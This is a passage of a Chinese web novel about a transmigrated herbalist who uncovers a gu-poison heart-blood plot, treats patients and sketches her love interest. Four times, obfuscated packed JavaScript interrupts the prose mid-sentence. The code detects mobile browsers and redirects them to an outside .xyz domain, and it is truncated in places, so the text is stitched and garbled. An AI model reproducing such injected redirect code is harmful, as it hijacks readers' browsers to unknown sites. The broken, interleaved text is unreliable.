薛五脸上的肥肉随着抖动了几下,季妤明显地看到了掌柜的眉头皱成一团,然后叹息一声,又是啧啧几声,然后自言自语道:“可惜了,这个质量不好,没什么用,只能直接杀了丢乱葬岗。” 季妤背脊一凉,连忙闭上眼睛。 掌柜的起身,朝外头喊了一句:“来两个人把他带去柴房,等解决了桌上这个,再杀了他。” 很快进来两个人,架起了薛五,但由于薛五块头大,满身肥肉很是壮硕,一般人真搬不动他,因此进来的这两个人,搬起薛五来废了不少力气。 “周掌柜,直接在这里把人杀了不就好了,干嘛非得搬去柴房,还要等解决完那个小公子再解决这人。”其中一个人抱怨道。 “少说废话,快带人下去!”周掌柜呵道。 “是是是……” 明确的知道周掌柜的视线不在自己身上后,季妤大着胆子又悄悄掀起一点眼皮朝薛五那瞅去,正好与薛五视线对上,她轻轻地朝薛五眨了眨眼睛,而薛五则冲她微弱地点了点头。 季妤稍微放松了一点,继续把眼睛闭上了,而薛五被带了下去。 不多时,那所谓的孙大夫来了。 季妤察觉到有人靠近她,有粗糙的指腹贴在她的眼皮上,然后掀起了她的眼皮。 季妤猜测应该是孙大夫在给她做什么检查。 看完眼皮,孙大夫又摸上了她的手腕,这是在探她的脉搏。 约莫一刻钟的时间,检查应该是结束了,只听周掌柜道:“如何?” 一个苍老的声音回道:“可行。” “那,现在动手?”周掌柜问。 “我得回去拿工具。” “你来的时候怎么不把东西带来。”周掌柜明显的不耐烦的语气。 孙大夫斜了周掌柜一眼,“你倒是好意思问,这几日总共十几个人,有一个是符合要求的人吗?” “这也不能怪我,这里是北市,穷人聚集的地方,多的是吃不饱饭,饥一顿饱一顿的,身体自然不能好到哪去。能进来我这药铺看病的已经算是能吃上饱饭的,只能怪你们要求的太高。” “有钱人肯定都符合你们的要求,只是这有钱人我们哪里敢去惹?牵一发动全身,你要是搞了一个有钱人,人家通过各种关系最后把我们都搞了,那不完了?钱没赚到,小命搭上了,所以便只得找些穷人下手嘛!” “行了,说些没用的,看着他别让他醒过来,我去拿工具。” “去吧去吧,我这蒙汗药沾上一点就够他睡不少时间了。” 孙大夫走后,室内又安静下来。 季妤已经开始焦躁不安了,那个孙大夫还要拿什么工具,这绝对不是什么好事,只希望薛五能赶快过来,赶在那个孙大夫拿着工具到来之前到这里。 “哐当”一声响,一阵慌乱的脚步声急促地赶来,紧接着一阵风从耳边略过,季妤悄悄掀起眼皮,看到掌柜已经跑到了门口朝外边看去。 掌柜挡在门边,季妤什么都看不到,除了周掌柜的背影,但她能听到声音。 “周掌柜,不好了,那个胖子挟持了孙大夫。” 周掌柜气急败坏道:“你们干什么吃的,两个人还看不住一个喝了药的人吗!” 那人委屈道:“那个胖子力气贼大,我们两个人都摁不住他,我都有点怀疑他根本就没有喝下蒙汗药,否则怎么可能醒得这么快。” “没喝下蒙汗药……那他是装的?!!!”周掌柜猛地一回头。 “砰——” “周掌柜!” 随着一道喊叫声响起,季妤手里的小方凳已经抛出一个完美的弧线,狠狠地砸在了来报信的那人头上。 那人瞪大眼睛,不可置信地看着季妤,倒下之前可能都想不明白明明已经喝了蒙汗药昏倒的人,却能朝他扔出了一个凳子将他砸晕了。 季妤在周掌柜和报信的人都彻底晕倒后,快步走出屋子,正左右看着要往那边去找薛五时,薛五就从左边冒了出来,还拽着一个老头。 老头估计就是那个孙大夫,季妤猜测。 …… “说!你们为什么要给来看病抓药的人下蒙汗药,到底有什么目的!”季妤瞪着孙大夫质问道。 “两位可能弄错了,我是个大夫,怎么会做出这种……给人下蒙汗药的事呢?”孙大夫小心翼翼地用余光瞟了一眼屋内地板上被季妤用凳子砸晕的两人,一滴冷汗从额角滑下。 季妤笑道:“蒙汗药确实不是你下的,但与你不能说毫不干系吧?你和周掌柜说的那些话我可都听到了,你狡辩是没用的,倒不如实话说来,我和薛大哥兴许能放你一条命。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837509|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季妤见孙大夫听了她这话后就沉默不语,她也不急,只坐了下来,撑着下巴好整以暇地看着孙大夫。 搁在孙大夫脖颈上的匕首近了一分,有丝丝红色的鲜血冒了出来,薛五不是个耐心的人,见孙大夫一直垂着头不说话,于是手下用了点力,将匕首往前推了一点。 “嘶!”疼痛袭来,孙大夫忍不住瑟缩了一下脖子,用手一摸,发现满手的鲜血,顿时吓得语无伦次:“别,别杀我,我说……” 看来是个惜命的,那就好办了,只要以他的性命做要挟,还怕问不出什么吗? 季妤揉了揉被撑疼了的下巴,直起身子看着孙大夫道:“老老实实说实话,否则我薛大哥的匕首可不惯着你。” 孙大夫咽了一下口水,眼皮上抬看了季妤一眼,见她双眼清亮,一看就是机灵的人,不是好唬弄的。又见她面像和善,虽说出了些狠话,但以他这几十年看人的经验,他知道此人不是穷凶极恶的人,若是他说了真话,此人或许真能放过他。 心中有了决断,于是说出口就没那么纠结。 “我们给人下蒙汗药是为了取他们的心头血。” “心头血?”季妤与薛五对视一眼,又将视线落回到孙大夫身上,皱着眉头问,“要心头血做什么?” “练蛊。” * 天色渐晚,季妤满载而归。 药材和五个毒蛇蛇胆都找齐了,可以开始炼制解药了。 季妤将这个好消息告诉南星时,南星似乎也是很高兴的,毕竟他身上箭伤的毒很快就可以解了。 熬了一个晚上,失败了七次,在鹅叫声响起,药材所剩不多之时,季妤终于制出了解药。 解药有两种,分为口服的药丸和外敷的药粉。 “祁公子,解药有了!” 南星早在鹅叫声响起时便醒了,在听到季妤又是人未到声音先到的声音后,忍不住弯起了唇角。 不重的敲门声响起,紧接着便是季妤询问的声音。 “祁公子,我可以进来吗?” 南星垂头看了一眼有些凌乱的灰色里衣,隐隐约约能看到光滑的肌肤,于是从床头的衣架上拿了一件外衣披上,然后才冲门那边喊了声:“季姑娘进来吧。” 门推开了,季妤端着一个木质托盘进来,托盘上放着几个小瓷瓶和一叠白布。 “季姑娘今日起得格外早。” “不是起得早,是我压根就没睡。”季妤走到床边,将手里的托盘放到床头桌上,然后拿起其中一个小瓷瓶,从中倒出一粒小药丸。 “季姑娘昨晚一夜未睡,是为了给我制解药吗?”南星有些愣住,看到季妤眼底泛着青紫色的痕迹,他心里有说不出的滋味。 一直空落落的心好像被填满了,那种饱满的感觉让人无比留恋,只希望这种充实的感觉可以停留得久一些。 “其实季姑娘不必太过着急,制作解药的药材都已经找齐了,晚一天两天的没什么要紧,季姑娘还是要多关心自己才是。” “制作出解药解了你身上的毒最要紧。况且我总得在你家人来接你之前把你医治得差不多才行,否则我怎么担得起这大夫身份?”季妤将掌心递到南星面前,里面正躺着一颗红色的小药丸,“快吃了它,那么多药材最后只成功做出了三颗呢。” 南星接过药丸塞入口中,垂下了眼,掩盖住眼里微微的失落。 原来那么着急的制作出解药,是怕她大夫的身份遭人质疑,并不单单只是因为他。 32. 又是蛊毒 见他吃下药丸,眉宇间有一丝解释不清的情绪,季妤以为是药丸太苦了,忙问:“怎么样?是不是很苦,要不要吃几颗蜜饯?” 南星抿了抿唇,一双凤眼盯着季妤看了一会儿,见她脸上是真切不掺假的关心,于是笑着点头道了声,“好。” 季妤从自己屋里拿了一包蜜饯又赶紧小跑回来,从油纸包里挑出长得最圆最好看的那一颗递过去,“吃这颗,这颗最红最圆最好看,一定很甜。” “谢谢。”南星礼貌道谢后,将季妤挑给他的那颗最红最圆最好看的蜜饯送入口中,下一秒,南星好看的剑眉就狠狠地皱在一起,眼睛也忍不住地眯成一条缝,他紧抿着唇,努力地吞咽着口水不让其流出来。 “怎么了?”季妤看出了南星的表情不太对劲,忙问道。 “好,好酸……”南星忍不住用手捂住嘴,口腔里弥漫的酸味让口水不断分泌,为了不作出当众流口水的尴尬举动,南星不得不把那颗看着很甜的蜜饯吐到掌中。 季妤见状,赶紧倒了一杯水递过去,颇为愧疚道:“对不起啊,我以为最红的那颗一定是最甜的,谁知道这小小的蜜饯也是不可貌相的。” 连喝三杯水,终于冲淡了口腔里弥漫的酸味,南星仿佛劫后余生般松了口气,紧皱的眉头也逐渐舒展,他抬眸看了季妤一眼,见她一脸愧疚表情,忙道:“不怪季姑娘,是我一点酸都碰不得。” “原来是这样,我说呢,蜜饯怎么可能酸成那样。”季妤扒拉了一下油纸里的蜜饯,又从里面挑出一颗不怎么起眼的递到南星面前,“你再吃这颗试试。” 俗话说,好看鲜艳的蘑菇是有毒的,漂亮的女人和男人是致命的,那颗最红的蜜饯看着最甜却是酸的,那么她反其道而行之,挑一颗最不起眼的,说不定就是最甜的。 “如何?”看着南星吃下她重新挑的那颗蜜饯,季妤眨了眨眼睛,认真问道。 南星嘴角上扬,眉眼微弯,点头笑道:“嗯,这颗很甜。” 霎时,季妤也笑了起来,又再挑了几颗放到南星的掌心中,然后才把剩下的蜜饯包好放在一旁的桌上。 “药丸吃下后,基本上你体内的毒素就会清除干净,接下来就是在你的伤口上撒上特制药粉,不过一周就能好全。”季妤边说着,边拿起了那瓶装着解毒药粉的小瓷瓶看着南星。 视线落在他披着的外衣上,有光滑的肌肤藏在里衣若隐若现,不知怎的,季妤脸微红,她眼神闪烁了一下,强迫自己将视线转移到南星的脸上,一本正经道:“祁公子,现在需要你把衣服脱下。” 南星微微一顿,抬眼看着季妤,将她微红的双颊和躲闪的视线尽纳入眼底,他垂头去看自己随意披上的外衣,下一刻便将其脱了下来。 察觉到南星有所动作了,本来已经将视线转移到一旁的衣架上的季妤,又偏过头来将视线重新落在南星身上。 外衣被脱下后,南星正欲去脱里衣,察觉到某人赤裸裸的视线后,他忽地浑身不自在起来,耳根也悄悄泛了红,手指微微蜷缩,定格在衣领处,不再动作。 南星清咳一声,抬眸飞快地扫了季妤一眼,无奈道:“季姑娘能否先转过身去?” 被人盯着脱衣服实在有些不自在,他宁愿脱好衣服后被她盯着看都好比脱衣服的过程被人全程盯着。 “哦,好。”季妤捂着发烫的脸转过身去,内心却是一阵懊恼,她看他看得入了神的脸红样子全被他看到了,这真是太尴尬了,季妤恨不得找个地缝钻进去。 都怪他身材太好了,只是若隐若现的一片胸肌,就令人无限遐想,即使之前给他上药包扎的时候有近距离接触过,也赞叹过这让她无比喜欢的薄肌,可今日只是隐隐约约的一瞥,那藏在里衣底下的胸肌竟比全显露出来时更加让人有想象空间。 季妤心痒,但更手痒,她此刻真想拿起笔将方才所看到的那半遮掩的一幕画下来,没有人的身材比他的更适合当人体绘画素材,要是大学的人体写生课,模特是他这样的,那她也不至于天天课上敷衍画几笔了事。 正当季妤无思乱想之际,南星的声音从后背传了过来。 “季姑娘,我可以了。” 季妤转身,入目的首先是一大片形状饱满又好看的胸肌和八块腹肌,要她说,这略深的小麦色皮肤简直绝了,与他的这张棱角分明五官深邃的脸简直绝配,但凡他皮肤白一点,那恰到好处的性感就会消失不见,而那令人无限遐想的氛围也会荡然无存。 季妤又一次看入迷了,直到南星清咳出声,她才恍然回神。 虽然脑子里想法很多,但给南星上药包扎时她还是十分认真的,因此两人之间的氛围也是很正常的,没有一丝暧昧的气息。 * “薛大哥。” “季姑娘,你来了啊。” 季妤在薛五面前坐下,将手里提着的两包药放到桌面上。 薛五看了一眼桌上的药,不解问:“这药是干什么的?” “这是特地给薛大哥你配的药。”季妤端起茶水喝了一小口润了润嗓子。 “给我?”薛五惊讶道,后又疑惑地看着季妤,“我没病啊,你给我配药做什么?” “薛大哥当真以为你是吃得多才胖成这样的?”季妤挑了挑眉。 薛五愣住了,他饭量很大,如果普通成年男人一顿吃两碗米饭,那么他要吃四碗米饭才有饱的感觉,而这仅仅只是饱的一种感觉,离真正的饱还要差两碗饭。 这种饭量不胖就难怪了,他也一直觉得自己胖就是因为吃得多。 可是依季姑娘的意思,他之所以那么胖,不是因为饭量大的原因吗? “季姑娘是不是看出了什么?”薛五脸色有些紧张,藏在□□里的小眼睛努力地睁着,定定地看着季妤。 “薛大哥恐怕不是生来就是那么胖的吧?” 薛五点头,轻笑道:“不错,说来季姑娘可能无法想象,我十四岁之前瘦得跟竹竿似的。” “那时候我虽是正常饭量,但吃了不长肉,只长个儿,我娘担心我是不是出了什么毛病,要给我找个大夫看看。” “那时候我家还不是开镖局的,也不在青州城里住,而是在离青州的一个很远的村子里。” “村子里有个跛脚大夫,医术很好,我娘就去找他给我看了一下,之后给我吃了一种药,后来我就胃口大开,人也长得壮实了不少,只是后来的后来,越发不可收拾的越长越胖。” 说到这时,薛五叹了口气。他五官不差,毕竟他妹妹是数一数二的标志美人,他一个大男人虽然不至于多注重外貌,但他不注重,姑娘们却很是看重男子的相貌的,如果他一直以这副面容见人,恐怕这辈子都要孤独终老,没有哪家姑娘能够看上他并嫁给他的。 季妤皱了皱眉,果然如她所料,先前她就觉得能胖成薛五这样的实属稀奇,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872162|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是一个以瘦为美的朝代,大家都是苗条的身材,就算有几个不是那么纤瘦,但也不至于胖成薛五那样。 绝不单单是因为饭量大吃得多的缘故,很有可能就是身体里出了毛病。 根据她的猜测,她在不动声色之际给他悄悄把过脉,却突然发现了他脉象异常。 这种脉象季妤曾在南星那探出过,正是蛊毒。 蛊毒,自这短短几日以来,季妤就遇到了三次了。 第一次是使得南星发病癫狂的蛊毒;第二次是昨天北市周记药铺里的,取心头血养蛊;第三次就是薛五体内,让他疯狂长胖的蛊毒。 蛊毒,这是一个神秘的东西,没穿书之前季妤只在小说里看到过,那时便觉得这东西又神秘又厉害,一旦有人沾染这个东西,那么就会陷入了一种非常棘手的境地。 蛊毒也分深浅,有的蛊毒十分棘手,而有的蛊毒不足为惧。 在原身阿娘的手札里,她有看到过符合薛五体征的蛊毒,于是季妤猜测是能让人持续胃口大开的饕餮蛊。 饕餮这一神兽,人们一听便知道是什么东西,贪吃凶猛。 饕餮蛊是由一种南疆神秘的蛊虫放入人体内,人吃下的食物基本上都会被它吃掉,既然被蛊虫吃掉了,那么为什么薛五还是那么肥胖,原因就是这种肥胖是虚胖,就像是一个被吹得鼓鼓的气球,只要一捅破,漏了气,那么自然就会瘪。 所以要想治好薛五的肥胖症,把蛊虫逼出来之前要先把他身上的毒气放出来,这就要用到针灸和药浴。 季妤将薛五带到济世堂,吩咐连翘按照她写的药方去熬药浴用的药汤。 连翘歪头看到了季妤身旁肥头大耳的魁梧男人,有些好奇地多打量了几眼,直到薛五朝她看过来后,两人四目相对,连翘才有些不好意思地垂下头去,拿了药材就转身去熬药了。 自从师父去世后,济世堂的伙计走得一干二净,如今只剩她和小妤两个姑娘家的,因此就算济世堂位置好,也有一定的声望,但世人还是不太愿意来找女大夫看病。 所以济世堂如今基本没人上门,毕竟南市光是医馆药铺就是四五家,人们的选择多,不一定非得来济世堂,生意自然而然的就很差,基本赚不到什么钱了。 现在小妤带来了一个患者,听小妤的吩咐,那个男人还要泡什么药浴,还要做什么针灸,这一看就是病得有些严重了,那么就意味着诊金治疗的费用必定是少不了的。 想到这里,连翘熬药都干劲十足,只期盼着治好这个病人,能收获不少钱给小妤还债。 “小妤,药汤熬好了。” 连翘进来说药汤熬好了时,季妤正好给薛五针灸完,她收起银针,取出帕子擦了擦额头上的细汗,然后对连翘道:“你带着薛大哥去药浴吧,你亲自守着,要泡够半个时辰,期间水要是凉了,你就再添些柴火。” 连翘看着季妤疲惫的双眼,有些心疼道:“好,你说的我都会照办的,小妤你就先好好休息一下。” 季妤点头,看向一旁的薛五,“薛大哥,连翘会带你去泡药浴,你按照她说的做就行。” 薛五起身朝季妤拱手道谢:“多谢季姑娘医治。” 末了,又朝着连翘拱手道:“那就有劳连翘姑娘了。” 两人走后,季妤疲倦地垂下眼皮,走到一旁的床榻上躺下,准备休息一下。 昨晚一夜未睡,现下正好补一补觉。 33. 画着玩的 却不曾想,刚躺下休息了不到一盏茶的功夫,就被一道大嗓门给吵醒了。 季妤一般是没有起床气的,但此刻在非常累非常想睡觉的时候被人吵醒,她还是有些气不顺,更何况这道声音还挺耳熟的,让人一如既往的讨厌。 季妤披上外衣走出,来到堂内,见到来人后脸色瞬间变得不耐烦,她扯了扯嘴角,似笑非笑道:“黄管家今日怎么有空到我这儿来?” 黄全站在那,一副趾高气昂的样子睨了季妤一眼,笑道:“季姑娘,老爷让我过来看看你这生意怎么样?还能不能凑齐三百两银子还债?” 季妤斜了黄全一眼,自顾自走到一旁的桌上,随手给自己倒了一碗茶,喝了几口后才不紧不慢道:“距最后还债的日期还有十日,杜老爷急什么?” “难不成他的药材铺子入不敷出,破产了?” “你,你这丫头片子竟敢诅咒老爷的铺子!”黄全指着季妤的鼻子怒道。 季妤惊讶道:“黄管家莫气啊,我怎么会诅咒杜老爷呢,我只是不太明白,好端端的还有十日才到还债日,你巴巴的过来,我还以为杜老爷实在缺钱了,要提前要回我这三百两银子呢!” 季妤这阴阳怪气的语气着实把黄全给气得顺不过气来,只觉得眼前这个丫头片子实在牙尖嘴利,心知在她面前是讨不到什么好处的,于是甩了甩衣袖,不高兴地坐了下来,给自己倒了杯水。 突然想到什么后,脸上才终于浮现一抹笑,转而放下茶碗,装模作样地掏出帕子擦了擦嘴角,朝季妤笑着道:“季姑娘这济世堂冷冷清清的,想来没什么人会来这里看病抓药吧!” 见季妤脸色平静,一个眼神都不赏他,黄全也不恼,仍笑道:“季姑娘不必忧心,只要你嫁给了我们家少爷,我们就是一家人,一家人还谈什么钱啊什么债啊的,我们家少爷是我们老爷的独子,别说是三百两不用还了,就是这今后杜家的家财,不都是你的吗?” 黄全笑得谄媚,季妤却狠狠地皱起了眉,斜着白了黄全一眼。 杜聪是什么货色,也配她? “黄管家怕不是老年痴呆了?我何时说过要嫁给杜聪。” 黄全脸色一变,笑僵在了脸上,他虽听不懂老年痴呆具体是什么意思,但从字面上来看,就不是个好词,况且从季妤口里出来的也不会是什么好话。 这丫头片子在骂他呢! 黄全气急,可偏偏他又不能把她怎么样,毕竟少爷喜欢她,老爷也对她十分满意。 老爷觉得这丫头片子长得水灵,恰巧少爷又喜欢她,她与少爷简直天生绝配,所以为了让她顺利嫁过来,特地派他来探探情况。 如果济世堂生意很好,那么就想办法把济世堂搞黄,若是生意不好,就说服她趁早嫁进杜府来,也省得少爷总是在外头强抢女子回来,短短一月就闹出好几条人命,就算陈知州是自家人,也耐不住少爷这么造作啊。 不过今日一看这济世堂里冷冷清清的,想来生意不好,赚不到什么钱,估计十日之后恐怕连一百两银子都拿不出来,所以他便想着劝她识时务者为俊杰,早点嫁进杜府。 到时候她成了少夫人,以后这杜家的家产不都是她的了? 谁知这丫头片子不识好歹,不仅咒老爷的药材铺子破产,还骂他老年痴呆,他真是气死了。 黄全手指蜷缩成拳,努力压制着身上的怒火,只怒瞪着季妤,重重地哼了一声,“且看你十日之后能不能拿出三百两,若是拿不出来,就容不得你嫁不嫁了!” 说罢,蹭的一下起来朝门口走去,而季妤则冷眼看着他消失在熙熙攘攘的人群里。 季妤按了按眉心,觉得全身都烦躁起来,黄全此次过来打的什么主意她不会不知道。 不过也好,济世堂冷冷清清的倒是给了他们一个障眼法,就让他们以为自己胜券在握,等到时候她拿出三百两银子还了债,他们就傻眼了,也就笑不出来了。 季妤重新躺回了床榻,等连翘进来叫她时,已经是半个时辰过去了。 季妤只觉得眯了一会儿后浑身都轻松了不少,虽然还是有些累,但比半个时辰之前累到眼皮打架时要好上很多。 “连翘,今后薛大哥每隔一天来这里泡一次药浴,需得麻烦你照料一下。” “放心吧。”连翘笑着,然后伸出手递到季妤面前道,“薛公子给的费用,你瞧,整整五两银子。” “嗯,这个月快过去了,这五两银子就当做给你的工钱吧。”季妤当即道。 “这怎么行?”连翘把五两银子尽数塞到季妤的小布包里,“你还欠着杜老爷三百两银子呢,我的工钱不用着急给,再说了,我现在也不缺钱。” 季妤感动得一把抱住连翘,“连翘,你真是太好了,你是我最好最好的好姐妹!” 连翘笑着拍了拍季妤的后背,有些不好意思道:“小妤,你也是我最好最好的好姐妹。” * 自从南星的蛇毒解了之后,伤口愈合得很快,短短三日,胸口上那道最深的伤口就已经好得差不多了,而身体上其它小伤口更是已经完全好了,有季妤特制的金疮药,连疤都没留下。 这日,是个很好的天气,南星在院子里拾了根棍子练武,将近快一月没有活动筋骨,只怕再躺下去,人都要废了。 他身材修长,穿着束身黑色衣服就轻松地勾勒出优美的身形线条,而且动作干净利落,手里拿着一根棍子就能舞得那样好看,一下子就把正在躺椅上看话本的季妤给吸引住了。 季妤立马撂下话本,跑去自己房里拿来笔墨纸砚,开始落笔把一直想画的画面画下来。 微风轻拂,桃花簌簌落了一地,有几片花瓣在空中飞舞着,打着转儿然后落到了宣纸上,宣纸上笔墨未干,被花瓣一压,再移动,墨水拖出一条痕迹,使得被墨水勾勒的脸好像凭空长出了一条格格不入的疤,直接将画好的那双好看的眉眼给毁了。 季妤见此情形,眉头紧皱,心中忽地生出一丝烦闷,看着宣纸上没能画出心中所想的画面,兴致不再,随即撂下笔,将宣纸揉成一团扔在桌上,继续拾起话本来看。 也不知是不是太阳太过晒,怎么感觉今日尤其烦躁? 季妤翻看着新买的话本,只觉得一点意思都没有,还不如前几本写得有意思。 思绪渐渐飘远,余光瞥到南星已经停下了动作,正倚在厨房门口端着一碗水喝,一旁的元宝正扑棱着翅膀冲他嘎嘎叫唤,南星无奈一笑,蹲下来用手掌盛了一些水给元宝喝。 元宝就是那只鹅,名字是季妤取的,她想着老是叫它鹅也不是办法,索性取个名字,思来想去,觉得元宝这个名字好听,寓意也好,便定了这个名字。 南星和元宝从一开始的互看不顺眼到后来可以和平相处了,季妤看到这一幕,心中的烦躁莫名地减轻了些。 她起身走了过去,“祁公子,你武功看起来很厉害,能不能教教我?等你走后,我也能有点拳脚功夫傍身呀。” 是了,祁钰的家人应该要不了多久就能到青州了,大概明天,或者是后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尝试了几次,无奈只得朝南星道:“祁公子,能不能麻烦你给我倒碗水喝?” 南星给她倒了一碗水,季妤礼貌地道了谢,正喝着水,忽然余光瞥到自己扔在桌上的那团被揉皱了的宣纸,被某人拿了起来,季妤一个着急,手下不稳直接给自己灌了一大口水,顿时呛得她剧烈咳嗽起来。 正难受之际,突然后背传来灼热的触感,轻轻柔柔地一下一下地拍打着她的后背,季妤有一瞬间的呆愣住,等反应过来要去夺过南星手里的宣纸时,已经为时已晚,他已经展开并看到了。 看到宣纸上画的内容,南星从脸红到了脖子,耳根更是红得滴血。 他难以置信地看着季妤,季妤甚至能从他眼里看到震惊、羞涩、慌乱等各种情绪。 这还是头一次在他的眼里看到那么多种生动的情绪,季妤有些意外,但一想到自己在宣纸上画的是什么后,又觉得他有这样的情绪情有可原。 季妤脸也红了,只觉得好不容易顺下去的气又堵到了嗓子眼,使得嗓子痒痒的,马上又要咳嗽起来。 季妤给自己灌了一碗水,压下嗓子的痒意后,她瞥了一眼南星手里的宣纸,只见本来被他展开的宣纸又重新被他给合上了,复又重新添上了好几处折痕,能想象他合上宣纸时有多慌乱。 季妤有些尴尬地摸了摸鼻子,“呃,那个,我画着玩的,你如果介意的话,我立马撕掉,并保证以后绝对……不这么画你。” 34. 奇怪的想法 回应季妤的只有随风舞动的桃花花瓣,花瓣在空中飞舞,划出一道优美的弧线,可季妤无暇欣赏。 风,吹乱了她的发,亦吹乱了他的发。两人视线相对,又纷纷躲开,气氛陷入了一种微妙的境地。 季妤手指无意识地攥紧,咬着嘴唇思考着,该怎么解释宣纸上画了好几个没穿衣服的祁公子。 她本是见他挥舞棍子练武时身姿矫健,身形优美,动作利落,非常适合作为速写素材,所以她打算以他为素材,练几张速写打发时间。 谁知画着画着,欸,走偏了,衣服布料越画越少,一开始为了练习腹肌和胸肌的肌肉走势,也为了练习肌肉线条,季妤自顾自地在脑子里给南星脱了上半身衣服。 就这样,画了一两个动作,后来觉得他的臀部又挺又翘,形状好看,腰臀比很是不错,又见他下蹲时那结实的大腿在宽松的裤子下若隐若现,季妤一个心痒,又在脑子里自动脱下了他的下半身,然后提笔激情满满地画了三四个…… 等反应过来后,已经将他画满了整整一页的宣纸,有穿着衣服的他两个,有露着上半身的他两个,还有什么都没穿的他三个,外另画了三个不同角度的头像。 其实动作倒是没什么让人难以入眼,都是正经地练武动作,只是因为衣着“不雅”,把这正经的动作给衬得不正经了。 季妤初画时不觉得有什么,画画人什么没画过?她大学还画过裸着的模特,□□地坐在那里供学生们画,学生们习以为常,眼里只有自己的作业,那些模特被那么多学生围观更是毫不在意,面不改色,这就是敬业。 因此等季妤画完之后很长一段时间里,她都还没意识到这有什么不妥,直到南星捡起宣纸的那一刻,她才瞬间响起了什么,内心一阵慌乱,里面画着的内容绝对不是生活在古代背景下的古人能接受的。 况且,在某种意义上,他还是她的金大腿,却更是身份尊贵的三皇子殿下,若是让他看到了那张宣纸上满满一页画的都是他,还大多数都是没穿衣服的他,他肯定会觉得震惊,不解,羞恼,愤怒,觉得她在侮辱他…… 良久的沉默无疑是可怕的,季妤欲哭无泪,脑子里的小人在哭嚎着:不该色迷心窍啊! 季妤抬起头来,直面眼前被她冒犯的某人,她露出一个比哭还难看的笑,诚恳地道歉:“对不起,我不该这么画你,祁公子你想怎么处罚我都行,我都认。” 只希望看在她认错态度良好又诚恳的份上,这位三皇子殿下大人有大量,能不与她这平民计较才好。 季妤看到南星张了口,紧接着上下嘴唇碰在一处,又分开,好似说了什么话,可季妤没听到,怀疑是不是风太大了,把他才说出的话给吹散了。 正欲开口去问他说了什么,忽地一阵敲门声响起,季妤扭头去看,是院门被敲响了。 季妤又回头看了南星一眼,见他也看着她,院门被人拍打得砰砰作响,季妤迟疑着没有转身去开门,南星看向院门方向,沉默了半晌,终于忍不住问季妤:“季姑娘不去开门吗?” 可季妤仍旧没有转身,她的视线下移,缓缓落在被南星紧攥在手里的宣纸上,她咬了咬唇,双手合十放于胸前,用祈求般的眼神望着南星,“祁公子,你原谅我好不好,我不是有意的,我对你绝对没有什么奇怪的想法。” “我只是,喜欢画画,我不只画过你,我还画过连翘、画过梅蕊、素娥、小春……还有钟小姐、陈小姐,我只是喜欢把美人美好的一面画出来而已,爱美之心人皆有之……” “方才季姑娘所说的连翘她们,季姑娘也像画在下一样画她们吗?” 冷不防地被南星打断了她的解释,又见他直勾勾地盯着自己看,季妤一时间脑子有些短路,等反应过来后,脸涨得通红,忙解释道:“我,我,不是……没有……” 越着急,越说不出一句完整的解释,最后支支吾吾了半天,在南星灼灼的目光下,眼一闭,认命般道:“我错了。” 季妤耷拉着脑袋,一副霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903930|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打茄子,恹恹的样子,却惹得南星忍不住扬起了嘴角。 在他的视角下去看季妤,只能看到她圆润饱满的头顶,她今早兴致应该不错,破天荒地给自己挽了一个发髻,虽然松松垮垮,不怎么好看,但绑在发髻上的鹅黄色发带随风飘舞,却分外灵动,像只翩翩起舞的蝴蝶。 南星心下一动,手比脑子快一步作出决定,他伸出手想要抓住那随风飘摇的发带,却在他险些要抓住时,季妤突然抬起了头,于是南星的手就十分巧妙地落在了季妤的脸颊旁。 微热的触感让季妤微怔。 她久久等不到他的回应,于是便想着抬头重新再次诚恳地向他道歉,却不曾想抬头的那一刻,他的手落在她的脸颊旁边,有着厚茧的手指触碰到她的脸,带着些许痒意。 他这是要干嘛,是太过生气了所以忍不住要给她一巴掌吗? 可是打人耳光这事,三皇子祁钰是不可能做出来的,这不符合他的人设。 不是要打她,那是要做什么? 季妤眼神逐渐疑惑,她猜不出来,只呆呆地望着南星,企图从他的脸上看出一些端倪。 院门持续被人拍响,且因为得不到回应而越拍越大声,可院子里的两人置若罔闻,除了眼里的彼此,将院外的一切都置身事外。 季妤在南星的脸上看到了一丝慌乱,紧接着脸颊上的痒意消失,是他的手缩了回去。 季妤嘴比脑子快一步,直愣愣地开口问:“你刚刚,是要干什么?” 